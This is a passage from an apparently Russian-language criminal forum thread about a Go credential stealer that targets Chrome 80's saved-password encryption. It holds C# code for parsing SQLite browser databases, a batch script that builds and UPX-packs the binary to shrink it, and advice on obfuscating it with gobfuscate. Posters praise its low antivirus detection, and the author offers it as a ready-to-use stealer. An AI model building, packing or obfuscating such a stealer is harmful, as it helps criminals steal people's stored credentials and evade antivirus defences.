                        ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2);
                        this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize);
                    }
                    this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize);
                }
                return true;
            }
            catch
            {
                return false;
            }
        }

        private void ReadMasterTable(long offset)
        {
            try
            {
                switch (this._fileBytes[offset])
                {
                    case 5:
                        ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                        for (int index = 0; index <= (int)num1; ++index)
                        {
                            ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + index * 2, 2);
                            if (offset == 100L)
                                this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize);
                            else
                                this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize);
                        }
                        this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize);
                        break;
                    case 13:
                        ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL;
                        int num4 = 0;
                        if (this._masterTableEntries != null)
                        {
                            num4 = this._masterTableEntries.Length;
                            Array.Resize<SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1);
                        }
                        else
                            this._masterTableEntries = new SqlHandler.SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))];
                        for (ulong index1 = 0; index1 <= num3; ++index1)
                        {
                            ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                            if (offset != 100L)
                                num2 += (ulong)offset;
                            int endIdx1 = this.Gvl((int)num2);
                            this.Cvl((int)num2, endIdx1);
                            int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L));
                            this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2);
                            ulong num5 = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L);
                            int endIdx3 = this.Gvl((int)num5);
                            int endIdx4 = endIdx3;
                            long num6 = this.Cvl((int)num5, endIdx3);
                            long[] numArray = new long[5];
                            for (int index2 = 0; index2 <= 4; ++index2)
                            {
                                int startIdx = endIdx4 + 1;
                                endIdx4 = this.Gvl(startIdx);
                                numArray[index2] = this.Cvl(startIdx, endIdx4);
                                numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!SqlHandler.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
                            }
                            if ((long)this._dbEncoding == 1L || (long)this._dbEncoding == 2L)
                                ;
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        break;
                }
            }
            catch
            {
            }
        }

        public bool ReadTable(string tableName)
        {
            try
            {
                int index1 = -1;
                for (int index2 = 0; index2 <= this._masterTableEntries.Length; ++index2)
                {
                    if (string.Compare(this._masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
                    {
                        index1 = index2;
                        break;
                    }
                }
                if (index1 == -1)
                    return false;
                string[] strArray = this._masterTableEntries[index1].SqlStatement.Substring(this._masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
                for (int index2 = 0; index2 <= strArray.Length - 1; ++index2)
                {
                    strArray[index2] = strArray[index2].TrimStart();
                    int length = strArray[index2].IndexOf(' ');
                    if (length > 0)
                        strArray[index2] = strArray[index2].Substring(0, length);
                    if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
                    {
                        Array.Resize<string>(ref this._fieldNames, index2 + 1);
                        this._fieldNames[index2] = strArray[index2];
                    }
                }
                return this.ReadTableFromOffset((ulong)(this._masterTableEntries[index1].RootNum - 1L) * this._pageSize);
            }
            catch
            {
                return false;
            }
        }

        private ulong ConvertToULong(int startIndex, int size)
        {
            try
            {
                if (size > 8 | size == 0)
                    return 0;
                ulong num = 0;
                for (int index = 0; index <= size - 1; ++index)
                    num = num << 8 | (ulong)this._fileBytes[startIndex + index];
                return num;
            }
            catch
            {
                return 0;
            }
        }

        private int Gvl(int startIdx)
        {
            try
            {
                if (startIdx > this._fileBytes.Length)
                    return 0;
                for (int index = startIdx; index <= startIdx + 8; ++index)
                {
                    if (index > this._fileBytes.Length - 1)
                        return 0;
                    if (((int)this._fileBytes[index] & 128) != 128)
                        return index;
                }
                return startIdx + 8;
            }
            catch
            {
                return 0;
            }
        }

        private long Cvl(int startIdx, int endIdx)
        {
            try
            {
                ++endIdx;
                byte[] numArray = new byte[8];
                int num1 = endIdx - startIdx;
                bool flag = false;
                if (num1 == 0 | num1 > 9)
                    return 0;
                if (num1 == 1)
                {
                    numArray[0] = (byte)((uint)this._fileBytes[startIdx] & 127);
                    return BitConverter.ToInt64(numArray, 0);
                }
                if (num1 == 9)
                    flag = true;
                int num2 = 1;
                int num3 = 7;
                int index1 = 0;
                if (flag)
                {
                    numArray[0] = this._fileBytes[endIdx - 1];
                    --endIdx;
                    index1 = 1;
                }
                int index2 = endIdx - 1;
                while (index2 >= startIdx)
                {
                    if (index2 - 1 >= startIdx)
                    {
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2 | (int)this._fileBytes[index2 - 1] << num3);
                        ++num2;
                        ++index1;
                        --num3;
                    }
                    else if (!flag)
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2);
                    index2 += -1;
                }
                return BitConverter.ToInt64(numArray, 0);
            }
            catch
            {
                return 0;
            }
        }

        private static bool IsOdd(long value)
        {
            return (value & 1L) == 1L;
        }

        private struct RecordHeaderField
        {
            public long Size;
            public long Type;
        }

        private struct TableEntry
        {
            public string[] Content;
        }

        private struct SqliteMasterEntry
        {
            public string ItemName;
            public long RootNum;
            public string SqlStatement;
        }
    }
}
Переписывется не очень сложно, я переписывал для своего проекта, но лень выдерать.
Про сборку вообще ничего не сказано, а вот такой batch может уменьшить зверька в 1.5-2 раза.
Код:
set GOOS=windows
set GOARCH=386
go build -o %~dp0\build\project.exe -ldflags="-s -w"
%~dp0upx\upx %~dp0build\project.exe -f --brute
про сборку - показано в видосе, там как раз эти ключи и используются
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да безусловно хорошая идея! Правда вес слишком большой, но в нынешние времена скоростного интернета это совершенно не помеха, но к сожалению у голанга есть ряд родовых травм связанных с тем что пути до библиотек у него жеско захардкорены в бинарнике, но там можно воспользоваться услугами обусфикаторов специально для этого дела: https://github.com/unixpickle/gobfuscate
Да и фиг с этим весом. Мы же не собираемся экономить ОЗУ юзера?
 
Да и фиг с этим весом. Мы же не собираемся экономить ОЗУ юзера?
Озу потребляет не так много как многие бы подумали. В пределах стандартных. Рекурсивный поиск потребляет процессорное время аналогично рекурсивному у других компилируемых, а что касается использования данного стиллера, то будет вполне нормальным, я где то читал что китайцы очень усиленно используют голанг для написания малвари, это конечно получше чем C#, но с плюсами рядом не стояло, но быстро написать нужный софт это конечно к голангу, а что бы еще и производительность была отличной - это тоже к голангу, так что написание админки на нем считаю очень большим плюсом, сам так делал.
 
Thanks for the article, but why the hell you coding in Golang? you don't know its limitations ? like less flexibility, not common on malware, huge PE size, a lot of dependencies..etc , i recommend you switch to C/C++ if you want to code projects in the real world.
 
Thanks for the article, but why the hell you coding in Golang? you don't know its limitations ? like less flexibility, not common on malware, huge PE size, a lot of dependencies..etc , i recommend you switch to C/C++ if you want to code projects in the real world.
Yes, of course I know, but as part of the article and rapid prototyping. I thought it was cool and did it because I wanted to. I described in the article that this of course entails a lot of minuses, but you can easily get rid of them with obfuscators, and a lot of much more. In addition, this is a ready-made project that people can immediately use, play around. in real life of course I use С
 
если запилишь будет круто)

затестил билд все работает и детект ав охуенный)
спасибо
Проект полностью рабочий в отличие от других аналогов и представляет из себя законченный в базовом виде инструмент
Вы можете с легкостью начинать пользоваться:) Бот будет работать еще по крайней мере месяц
Никаких подводных камней
 
Что такое 80х?
у 80х хромов новое шифрование, многие стилеры в продакшене сейчас пошли по одному месту по этому сделал этот проект, надеясь на солидарность трудящихся
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх